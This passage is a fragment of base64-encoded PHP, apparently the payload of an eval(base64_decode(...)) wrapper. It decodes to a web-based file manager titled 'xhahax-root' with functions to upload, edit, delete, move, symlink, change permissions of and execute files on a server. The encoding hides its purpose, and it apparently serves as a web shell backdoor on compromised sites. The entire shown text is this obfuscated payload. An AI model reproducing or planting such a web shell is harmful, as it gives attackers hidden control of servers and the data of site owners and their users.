YmFzaWNfYXV0aCcpIC4gJyIgLz4NCg0KCTxociAvPg0KJzsNCg0KCX0NCg0KCWVjaG8gJw0KCTxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImVkaXQiIC8+DQoJPGlucHV0 IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+ DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVj dG9yeSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9IicgLiB3b3JkKCdyZXNl dCcpIC4gJyIgaWQ9InJlZF9idXR0b24iIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0i c2F2ZSIgdmFsdWU9IicgLiB3b3JkKCdzYXZlJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHls ZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+DQoNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+ PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICci PlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCWh0 bWxfZm9vdGVyKCk7DQoNCn0NCg0KZnVuY3Rpb24gc3BhY2VyICgpIHsNCglnbG9iYWwgJGNvbHM7 DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIHN0eWxlPSJoZWln aHQ6IDFlbSI+PC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIHRleHRmaWVsZHNpemUg KCRjb250ZW50KSB7DQoNCgkkc2l6ZSA9IHN0cmxlbigkY29udGVudCkgKyA1Ow0KCWlmICgkc2l6 ZSA8IDMwKSAkc2l6ZSA9IDMwOw0KDQoJcmV0dXJuICRzaXplOw0KDQp9DQoNCmZ1bmN0aW9uIHJl cXVlc3RfZHVtcCAoKSB7DQoNCglmb3JlYWNoICgkX1JFUVVFU1QgYXMgJGtleSA9PiAkdmFsdWUp IHsNCgkJZWNobyAiXHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIiIC4gaHRtbCgka2V5 KSAuICciIHZhbHVlPSInIC4gaHRtbCgkdmFsdWUpIC4gIlwiIC8+XG4iOw0KCX0NCg0KfQ0KDQov KiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCmZ1bmN0aW9uIGh0bWwgKCRzdHJpbmcpIHsNCglnbG9i YWwgJGNoYXJzZXQ7DQoJcmV0dXJuIGh0bWxlbnRpdGllcygkc3RyaW5nLCBFTlRfQ09NUEFULCAk Y2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHdvcmQgKCR3b3JkKSB7DQoJZ2xvYmFsICR3b3Jkcywg JHdvcmRfY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9D T01QQVQsICR3b3JkX2NoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRh cmd1bWVudHMpIHsNCglnbG9iYWwgJHdvcmRzOw0KCXN0YXRpYyAkc2VhcmNoOw0KDQoJaWYgKCFp c19hcnJheSgkc2VhcmNoKSkgZm9yICgkaSA9IDE7ICRpIDw9IDg7ICRpKyspICRzZWFyY2hbXSA9 ICIlJGkiOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7 DQoJCSRhcmd1bWVudHNbJGldID0gbmwyYnIoaHRtbCgkYXJndW1lbnRzWyRpXSkpOw0KCX0NCg0K CSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4g JzxiPicsICddJyA9PiAnPC9iPicpOw0KDQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRh cmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwy YnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHdvcmRzICgk bGFuZykgew0KCWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7DQoNCglzd2l0Y2gg KCRsYW5nKSB7DQoJY2FzZSAnZW4nOg0KCWRlZmF1bHQ6DQoNCgkJJGRhdGVfZm9ybWF0ID0gJ24v ai95IEg6aTpzJzsNCgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsNCg0KCQlyZXR1cm4g YXJyYXkoDQonZGlyZWN0b3J5JyA9PiAnRGlyZWN0b3J5JywNCidmaWxlJyA9PiAnRmlsZScsDQon ZmlsZW5hbWUnID0+ICdGaWxlbmFtZScsDQoNCidzaXplJyA9PiAnU2l6ZScsDQoncGVybWlzc2lv bicgPT4gJ1Blcm1pc3Npb24nLA0KJ293bmVyJyA9PiAnT3duZXInLA0KJ2dyb3VwJyA9PiAnR3Jv dXAnLA0KJ290aGVyJyA9PiAnT3RoZXJzJywNCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLA0K DQoncmVhZCcgPT4gJ3JlYWQnLA0KJ3dyaXRlJyA9PiAnd3JpdGUnLA0KJ2V4ZWN1dGUnID0+ICdl eGVjdXRlJywNCg0KJ2NyZWF0ZV9zeW1saW5rJyA9PiAnY3JlYXRlIHN5bWxpbmsnLA0KJ2RlbGV0 ZScgPT4gJ2RlbGV0ZScsDQoncmVuYW1lJyA9PiAncmVuYW1lJywNCidtb3ZlJyA9PiAnbW92ZScs DQonY29weScgPT4gJ2NvcHknLA0KJ2VkaXQnID0+ICdlZGl0JywNCidkb3dubG9hZCcgPT4gJ2Rv d25sb2FkJywNCid1cGxvYWQnID0+ICd1cGxvYWQnLA0KJ2NyZWF0ZScgPT4gJ2NyZWF0ZScsDQon Y2hhbmdlJyA9PiAnY2hhbmdlJywNCidzYXZlJyA9PiAnc2F2ZScsDQonc2V0JyA9PiAnc2V0JywN CidyZXNldCcgPT4gJ3Jlc2V0JywNCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFy Z2V0JywNCg0KJ3llcycgPT4gJ1llcycsDQonbm8nID0+ICdObycsDQonYmFjaycgPT4gJ2JhY2sn LA0KJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLA0KJ3N5bWxpbmsnID0+ICdTeW1saW5r JywNCidub19vdXRwdXQnID0+ICdubyBvdXRwdXQnLA0KDQondXNlcicgPT4gJ1VzZXInLA0KJ3Bh c3N3b3JkJyA9PiAnUGFzc3dvcmQnLA0KJ2FkZCcgPT4gJ2FkZCcsDQonYWRkX2Jhc2ljX2F1dGgn ID0+ICdhZGQgYmFzaWMtYXV0aGVudGlmaWNhdGlvbicsDQoNCid1cGxvYWRlZCcgPT4gJyJbJTFd IiBoYXMgYmVlbiB1cGxvYWRlZC4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBjb3VsZCBu b3QgYmUgdXBsb2FkZWQuJywNCidhbHJlYWR5X2V4aXN0cycgPT4gJyJbJTFdIiBhbHJlYWR5IGV4 aXN0cy4nLA0KJ2NyZWF0ZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gY3JlYXRlZC4nLA0KJ25vdF9j cmVhdGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsDQoncmVhbGx5X2RlbGV0 ZScgPT4gJ0RlbGV0ZSB0aGVzZSBmaWxlcz8nLA0KJ2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBo YXZlIGJlZW4gZGVsZXRlZDpcblslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMg Y291bGQgbm90IGJlIGRlbGV0ZWQ6XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1JlbmFtZSBm aWxlOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4n LA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0i LicsDQonbW92ZV9maWxlcycgPT4gJ01vdmUgdGhlc2UgZmlsZXM6JywNCidtb3ZlZCcgPT4gIlRo ZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3Zl ZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0i LA0KJ2NvcHlfZmlsZXMnID0+ICdDb3B5IHRoZXNlIGZpbGVzOicsDQonY29waWVkJyA9PiAiVGhl c2UgZmlsZXMgaGF2ZSBiZWVuIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9jb3Bp ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlxuWyUx XSIsDQonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBjYW4gbm90IGJlIGVkaXRlZC4nLA0KJ2V4ZWN1 dGVkJyA9PiAiXCJbJTFdXCIgaGFzIGJlZW4gZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlxueyUyfSIs DQonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgY291bGQgbm90IGJlIGV4ZWN1dGVkIHN1Y2Nl c3NmdWxseTpcbnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIHNhdmVkLicsDQon bm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLA0KJ3N5bWxpbmtlZCcg PT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidu b3Rfc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgY291bGQgbm90 IGJlIGNyZWF0ZWQuJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0i OicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRv IFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBj b3VsZCBub3QgYmUgc2V0IHRvIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2Fu IG5vdCBiZSByZWFkLicNCgkJKTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBnZXRpbWFnZSAoJGlt YWdlKSB7DQoJc3dpdGNoICgkaW1hZ2UpIHsNCgljYXNlICdmaWxlJzoNCgkJcmV0dXJuIGJhc2U2 NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFB QUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNY dWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdmb2xkZXInOg0KCQlyZXR1cm4gYmFzZTY0 X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFB QUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBh N2Roamg3WmJ5Z0FBRHNBJyk7DQoJY2FzZSAnaGlkZGVuX2ZpbGUnOg0KCQlyZXR1cm4gYmFzZTY0 X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFNd0FBUC8vLzVtWm1mLy8veUg1QkFIb0F3TUFMQUFB QUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1 Y2JTYWJ1bmpuTW9ocThDQURzQScpOw0KCWNhc2UgJ2xpbmsnOg0KCQlyZXR1cm4gYmFzZTY0X2Rl Y29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNI NUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGtt aFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7DQoJY2Fz ZSAnc21pbGV5JzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFB QVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0Qz aHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsNCgljYXNl ICdhcnJvdyc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSUFCQUFBQUFQ Ly8veUg1QkFFS0FBRUFMQUFBQUFBUkFBMEFBQUlkakE5d3k2Z05RNHB3VW1hdjB5dm4raGhKaUkz bUNKNm90cklreHhRQU93PT0nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsN CglnbG9iYWwgJGNoYXJzZXQ7DQoNCgllY2hvIDw8PEVORA0KPCFET0NUWVBFIGh0bWwgUFVCTElD ICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiINCiAgICAgImh0dHA6Ly93d3cudzMu b3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6 Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQoNCjxtZXRhIGh0dHAtZXF1aXY9IkNv bnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PSRjaGFyc2V0IiAvPg0KDQo8 dGl0bGU+eGhhaGF4LXJvb3QgPD4geDdfODgoYXQpaG90bWFpbChkb3QpY29tPC90aXRsZT4NCg0K PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgeyBmb250OiBzbWFsbCBzYW5zLXNlcmlmOyB0 ZXh0LWFsaWduOiBjZW50ZXIgfQ0KaW1nIHsgd2lkdGg6IDE3cHg7IGhlaWdodDogMTNweCB9DQph LCBhOnZpc2l0ZWQgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwIH0NCmhy IHsgYm9yZGVyLXN0eWxlOiBub25lOyBoZWlnaHQ6IDFweDsgYmFja2dyb3VuZC1jb2xvcjogc2ls dmVyOyBjb2xvcjogc2lsdmVyIH0NCiNtYWluIHsgbWFyZ2luLXRvcDogNnB0OyBtYXJnaW4tbGVm dDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvOyBib3JkZXItc3BhY2luZzogMXB4IH0NCiNtYWlu IHRoIHsgYmFja2dyb3VuZDogI0MwQzBDMDsgcGFkZGluZzogM3B0IDNwdCAwcHQgM3B0IH0NCi5s aXN0aW5nIHRoLCAubGlzdGluZyB0ZCB7IHBhZGRpbmc6IDFweCAzcHQgMCAzcHQgfQ0KLmxpc3Rp bmcgdGggeyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KLmxpc3RpbmcgdGQgeyBib3JkZXI6 IDFweCBzb2xpZCAjZGRkOyBiYWNrZ3JvdW5kOiAjODA4MDgwIH0NCi5saXN0aW5nIC5jaGVja2Jv eCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWdu OiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3Rpbmcg LnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlz c2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1h bGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0 aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7 IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5 LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGlj ZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFj a2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRk aW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwg LnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjog bm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1 dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBw YWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVy IH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9 DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7 IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246 IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQg c2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0N CiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9u IHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQoNCiNlcnJvciB0ZCB7IGJhY2tncm91bmQ6 IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGlj ZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlk IHNpbHZlciB9DQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsg Y29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdo dDogMWV4IH0NCmNvZGUgeyBmb250LXNpemU6IDEycHQgfQ0KdGQgeyB3aGl0ZS1zcGFjZTogbm93 cmFwIH0NCjwvc3R5bGU+DQo8Ym9keSBiZ2NvbG9yPSIjOTY5Njk2Ij4NCjxzY3JpcHQgdHlwZT0i dGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7DQoJaWYg KGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1l bnRzWydmb2N1cyddKSB7DQoJCWRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddLnZh bHVlID0gbmFtZTsNCgl9DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCjxib2R5Pg0K DQoNCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7DQoNCgllY2hvIDw8PEVO RA0KPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KDQp9DQoNCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFz ZSkgew0KCWdsb2JhbCAkY29sczsNCg0KCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCWFycmF5 X3NoaWZ0KCRhcmdzKTsNCg0KCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPg0KCTx0ZCBjb2xzcGFu PSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90 cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7 DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCgly ZXR1cm4gJzx0ciBpZD0iZXJyb3IiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4g cGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KPz4NCjxo dG1sPg0KPGhlYWQ+DQo8U1RZTEU+DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjMDAwMDAwIDEgc29s aWQ7DQpCT1JERVItVE9QOiAgICAjMDAwMDAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjMDAw MDAwIDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMDAwMDAwIDEgc29saWQ7DQpjb2xvcjogI2Nj Y2NjYzsNCn0NCi5ncmV5IHsNCkJPUkRFUjogMTsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7 DQpjb2xvcjogIzAwMDAwMDsNCn0NCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBz b2xpZDsNCkJPUkRFUi1UT1A6ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNG RjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9V TkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZjAwMDA7DQp9 DQoudHh0Ym94IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6 ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNGRjAwMDAgMSBzb2xpZDsNCkJP UkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7 DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNGRkZGRkY7DQp9DQpCT0RZIHsNCmNvbG9y OiAjRkYwMDAwOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCjwvU1RZTEU+DQo8L2hl YWQ+DQo8Ym9keT4=')); ?>